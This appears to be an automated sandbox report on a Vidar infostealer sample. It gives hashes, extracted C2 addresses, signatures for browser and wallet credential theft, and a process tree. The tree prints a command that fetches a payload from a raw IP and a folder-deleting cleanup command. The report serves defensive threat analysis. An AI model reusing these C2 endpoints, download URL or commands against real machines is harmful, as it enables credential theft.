Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    16-09-2024 09:49

General

  • Target

    fc810b97cdfebeaa268367812e5e94175e4b47c150a136a4c596c86a6432b4f1.exe

  • Size

    282KB

  • MD5

    7676e9e26e9d68ed4333b48962e246df

  • SHA1

    8acf019a18dcf8e817a5665fcbb9a2e17e5d448a

  • SHA256

    fc810b97cdfebeaa268367812e5e94175e4b47c150a136a4c596c86a6432b4f1

  • SHA512

    4d8b18a648d5248291714868d0bfa56e8f3e051b8db18551c4c422278767111766e1dfdc373ccddd0d6139f932dc273258113a69aff79c057716e80a1b2f5c22

  • SSDEEP

    6144:sobHX7AuhXt+uvGlAs5Y9hpgeGnXU0ms3HxpRxIEt4V68EO:lbHc2TeteqE0tXxpMECVZEO

Malware Config

Extracted

Family

vidar

C2

https://t.me/edm0d

https://steamcommunity.com/profiles/76561199768374681

Attributes
  • user_agent

    Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0

Signatures

  • Detect Vidar Stealer 14 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Downloads MZ/PE file
  • Executes dropped EXE 11 IoCs
  • Loads dropped DLL 4 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious use of SetThreadContext 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of WriteProcessMemory 56 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\fc810b97cdfebeaa268367812e5e94175e4b47c150a136a4c596c86a6432b4f1.exe
    "C:\Users\Admin\AppData\Local\Temp\fc810b97cdfebeaa268367812e5e94175e4b47c150a136a4c596c86a6432b4f1.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1708
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Checks processor information in registry
      • Modifies system certificate store
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2284
      • C:\ProgramData\CAAEBF.exe
        C:\ProgramData\\CAAEBF.exe http://147.45.44.104/prog/66e7f53e38077_lmdsg.exe
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1800
        • C:\ProgramData\CAAEBF.exe
          C:\ProgramData\CAAEBF.exe
          4⤵
          • Executes dropped EXE
          PID:2120
        • C:\ProgramData\CAAEBF.exe
          C:\ProgramData\CAAEBF.exe
          4⤵
          • Executes dropped EXE
          PID:572
        • C:\ProgramData\CAAEBF.exe
          C:\ProgramData\CAAEBF.exe
          4⤵
          • Executes dropped EXE
          PID:2252
        • C:\ProgramData\CAAEBF.exe
          C:\ProgramData\CAAEBF.exe
          4⤵
          • Executes dropped EXE
          PID:2508
        • C:\ProgramData\CAAEBF.exe
          C:\ProgramData\CAAEBF.exe
          4⤵
          • Executes dropped EXE
          PID:2004
        • C:\ProgramData\CAAEBF.exe
          C:\ProgramData\CAAEBF.exe
          4⤵
          • Executes dropped EXE
          PID:2492
        • C:\ProgramData\CAAEBF.exe
          C:\ProgramData\CAAEBF.exe
          4⤵
          • Executes dropped EXE
          PID:2572
        • C:\ProgramData\CAAEBF.exe
          C:\ProgramData\CAAEBF.exe
          4⤵
          • Executes dropped EXE
          PID:3064
        • C:\ProgramData\CAAEBF.exe
          C:\ProgramData\CAAEBF.exe
          4⤵
          • Executes dropped EXE
          PID:1948
        • C:\ProgramData\CAAEBF.exe
          C:\ProgramData\CAAEBF.exe
          4⤵
          • Executes dropped EXE
          PID:1680
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\GIIIIJDHJEGI" & exit
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2712
        • C:\Windows\SysWOW64\timeout.exe
          timeout /t 10
          4⤵
          • System Location Discovery: System Language Discovery
          • Delays execution with timeout.exe
          PID:1708

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZOGPI1N2\66e7f53e38077_lmdsg[1].exe

    Filesize

    322KB

    MD5

    2196f59e8f2f0a3456a3cc5e1074dbb1

    SHA1

    1c33ce1a3ead2796f2c42903904ae83a493d8bd4

    SHA256

    00fdcbaf9813469974122e1125ef2a84623d65c1cc4329049358b75440069d26

    SHA512

    5279c58d08efd66add2be380b05c7bb9bbc43147f457a15bda7589981a9ce0b1baea6365add3701bc523ffcc112b9e6fc536aa31fb0090cde993a399e1696fbe

  • C:\Users\Admin\AppData\Local\Temp\CabD886.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\TarD8B8.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • \ProgramData\CAAEBF.exe

    Filesize

    6KB

    MD5

    2890a00ef6943ed98e2b7c6e3e49ae1c

    SHA1

    9072a751e68fe39222aebc87ffb898a423310ce9

    SHA256

    0ab41930f0a18d7629031bf5cd9a8c7090c13983c1d7567b9018185f0fa18f0d

    SHA512

    dd01c349264e431f3ec900e05062fa4300a4f8a9219edf4f7f8014a92dadd4aae0f05cc4a103f30bdd4d9915460edb03769ffdff0c9e290acd4c89b3a16542fe

  • \ProgramData\mozglue.dll

    Filesize

    593KB

    MD5

    c8fd9be83bc728cc04beffafc2907fe9

    SHA1

    95ab9f701e0024cedfbd312bcfe4e726744c4f2e

    SHA256

    ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

    SHA512

    fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

  • \ProgramData\nss3.dll

    Filesize

    2.0MB

    MD5

    1cc453cdf74f31e4d913ff9c10acdde2

    SHA1

    6e85eae544d6e965f15fa5c39700fa7202f3aafe

    SHA256

    ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

    SHA512

    dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

  • memory/1708-0-0x000000007458E000-0x000000007458F000-memory.dmp

    Filesize

    4KB

  • memory/1708-22-0x0000000074580000-0x0000000074C6E000-memory.dmp

    Filesize

    6.9MB

  • memory/1708-8-0x0000000074580000-0x0000000074C6E000-memory.dmp

    Filesize

    6.9MB

  • memory/1708-1-0x0000000000F90000-0x0000000000FDA000-memory.dmp

    Filesize

    296KB

  • memory/2284-17-0x0000000000400000-0x0000000000657000-memory.dmp

    Filesize

    2.3MB

  • memory/2284-214-0x0000000000400000-0x0000000000657000-memory.dmp

    Filesize

    2.3MB

  • memory/2284-10-0x0000000000400000-0x0000000000657000-memory.dmp

    Filesize

    2.3MB

  • memory/2284-11-0x0000000000400000-0x0000000000657000-memory.dmp

    Filesize

    2.3MB

  • memory/2284-5-0x0000000000400000-0x0000000000657000-memory.dmp

    Filesize

    2.3MB

  • memory/2284-199-0x00000000203C0000-0x000000002061F000-memory.dmp

    Filesize

    2.4MB

  • memory/2284-14-0x0000000000400000-0x0000000000657000-memory.dmp

    Filesize

    2.3MB

  • memory/2284-4-0x0000000000400000-0x0000000000657000-memory.dmp

    Filesize

    2.3MB

  • memory/2284-161-0x0000000000400000-0x0000000000657000-memory.dmp

    Filesize

    2.3MB

  • memory/2284-19-0x0000000000400000-0x0000000000657000-memory.dmp

    Filesize

    2.3MB

  • memory/2284-233-0x0000000000400000-0x0000000000657000-memory.dmp

    Filesize

    2.3MB

  • memory/2284-12-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

    Filesize

    4KB

  • memory/2284-7-0x0000000000400000-0x0000000000657000-memory.dmp

    Filesize

    2.3MB

  • memory/2284-364-0x0000000000400000-0x0000000000657000-memory.dmp

    Filesize

    2.3MB

  • memory/2284-383-0x0000000000400000-0x0000000000657000-memory.dmp

    Filesize

    2.3MB

  • memory/2284-426-0x0000000000400000-0x0000000000657000-memory.dmp

    Filesize

    2.3MB

  • memory/2284-445-0x0000000000400000-0x0000000000657000-memory.dmp

    Filesize

    2.3MB

  • memory/2284-6-0x0000000000400000-0x0000000000657000-memory.dmp

    Filesize

    2.3MB

  • memory/2284-180-0x0000000000400000-0x0000000000657000-memory.dmp

    Filesize

    2.3MB